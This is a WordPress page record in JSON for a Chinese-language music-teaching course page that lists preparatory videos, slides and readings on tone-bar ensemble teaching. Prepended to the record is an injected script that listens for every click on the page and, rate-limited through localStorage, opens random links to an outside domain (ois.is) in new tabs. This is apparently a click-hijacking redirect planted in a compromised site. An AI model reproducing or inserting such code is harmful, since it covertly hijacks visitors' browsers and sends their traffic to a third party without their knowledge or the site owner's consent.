<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":887,"date":"2014-10-11T11:38:46","date_gmt":"2014-10-11T03:38:46","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=887"},"modified":"2017-08-03T11:12:44","modified_gmt":"2017-08-03T03:12:44","slug":"%e7%ab%a0%e7%af%802-1","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo4m4\/?page_id=887","title":{"rendered":"\u8ab2\u524d\u9810\u7fd2"},"content":{"rendered":"<h4>\u3127\u3001\u7dda\u4e0a\u6559\u5b78\u2014\u5c08\u984c\u5b78\u7fd2<\/h4>\n<ol>\n<li>\n<h5>\u5c08\u984c\u4e00<\/h5>\n<ul>\n<li>\n<h5>\u8996\u983b\u89c0\u770b\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1481\">4M\u97f3\u78da\u53ca\u5408\u594f\u66f2\u6559\u5b78\u624b\u6cd5<\/a>\u300d\uff08\u8996\u983b\uff1a\u6797\u9e97\u9752\u8001\u5e2b\uff09<\/h5>\n<\/li>\n<li>\n<h5>\u8b1b\u7fa9\u89c0\u770b\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1505\">4M\u97f3\u78da\u53ca\u5408\u594f\u66f2\u6559\u5b78\u624b\u6cd5<\/a>\u300d\uff08PPT\u6a94\uff1a\u6797\u9e97\u9752\u8001\u5e2b\uff09<\/h5>\n<\/li>\n<li>\n<h5>\u8b1b\u7fa9\u89c0\u770b\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1507\">4M\u97f3\u78da\u7df4\u7fd2\u9032\u5ea6<\/a>\u300d\uff08PDF\u6a94\uff1a\u6797\u9e97\u9752\u8001\u5e2b\uff09<\/h5>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<h5>\u5c08\u984c\u4e8c<\/h5>\n<ul>\n<li>\n<h5>\u8996\u983b\u89c0\u770b\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1473\">4M\u7d50\u696d\u767c\u8868\u6703\u624b\u6cd5\u5206\u4eab<\/a>\u300d\uff08\u8996\u983b\uff1a\u6797\u9e97\u9752\u8001\u5e2b\uff09<\/h5>\n<\/li>\n<li>\n<h5>\u8b1b\u7fa9\u89c0\u770b\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1495\">4M\u7d50\u696d\u767c\u8868\u6703\u624b\u6cd5\u5206\u4eab<\/a>\u300d\uff08PDF\u6a94\uff1a\u6797\u9e97\u9752\u8001\u5e2b\uff09<\/h5>\n<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<h4>\u4e8c\u3001\u7dda\u4e0a\u8996\u8a0a<\/h4>\n<ol>\n<li>\n<h5><a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1447\">4M\u7d50\u696d\u6210\u679c\u767c\u8868\u6703\u2014\u5c0f\u670b\u53cb\u4e0a\u8ab2\u5be6\u6cc1\uff08\u8996\u983b\uff1a\u66fe\u90c1\u82b3\u8001\u5e2b\uff09<\/a><\/h5>\n<\/li>\n<li>\n<h5><a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1453\">4M\u7d50\u696d\u6210\u679c\u767c\u8868\u6703\u2014\u5c0f\u670b\u53cb\u4e0a\u8ab2\u5be6\u6cc1\uff08\u8996\u983b\uff1a\u90ed\u7b71\u541b\u8001\u5e2b\uff09<\/a><\/h5>\n<\/li>\n<\/ol>\n<h4>\u4e09\u3001\u7dda\u4e0a\u95b2\u8b80<\/h4>\n<ol>\n<li>\n<h5>\u95b1\u8b80\u6587\u4ef6\u4e00\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1457\">\u4e09\u5927\u97f3\u6a02\u6559\u5b78\u6cd5\u6bd4\u8f03<\/a>\u300d\uff08PDF\u6a94\uff1a\u9e97\u9752\u6574\u7406\uff09<\/h5>\n<\/li>\n<li>\n<h5>\u95b1\u8b80\u6587\u4ef6\u4e8c\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1462\">\u4ecb\u7d39\u9375\u76e4\u6a02\u5668<\/a>\u300d\uff08PDF\u6a94\uff1a\u9e97\u9752\u6574\u7406\uff09<\/h5>\n<\/li>\n<li>\n<h5>\u95b1\u8b80\u6587\u4ef6\u4e09\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1466\">\u4ecb\u7d39\u76f4\u7b1b\u5bb6\u65cf\u6a02\u5668<\/a>\u300d\uff08PDF\u6a94\uff1a\u9e97\u9752\u6574\u7406\uff09<\/h5>\n<\/li>\n<li>\n<h5>\u95b1\u8b80\u6587\u4ef6\u56db\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1469\">\u4ecb\u7d39\u4e2d\u570b\u6a02\u5668<\/a>\u300d\uff08PDF\u6a94\uff1a\u9e97\u9752\u6574\u7406\uff09<\/h5>\n<\/li>\n<li>\n<h5>\u95b1\u8b80\u6587\u4ef6\u4e94\uff1a\u300c<a href=\"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=1522\">4M4\u6559\u6750\u4ecb\u7d39<\/a>\u300d\uff08PPT\u6a94\uff1a\u5f35\u8001\u5e2b\u6574\u7406\uff09<\/h5>\n<\/li>\n<\/ol>\n<p>\u56db\u3001\u8ab2\u524d\u4f5c\u696d<\/p>\n<ol>\n<li>\n<h5>\u5b8c\u6210\u300c4M\u97f3\u78da\u53ca\u5408\u594f\u66f2\u6559\u5b78\u624b\u6cd5\u300d\u91cd\u9ede\u6458\u8981<\/h5>\n<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\u3127\u3001\u7dda\u4e0a\u6559\u5b78\u2014\u5c08\u984c\u5b78\u7fd2 \u5c08\u984c\u4e00 \u8996\u983b\u89c0\u770b\uff1a\u300c4M\u97f3\u78da\u53ca\u5408\u594f\u66f2\u6559\u5b78\u624b\u6cd5\u300d\uff08\u8996\u983b\uff1a\u6797<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":885,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/887"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=887"}],"version-history":[{"count":15,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/887\/revisions"}],"predecessor-version":[{"id":1525,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/887\/revisions\/1525"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/885"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=887"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}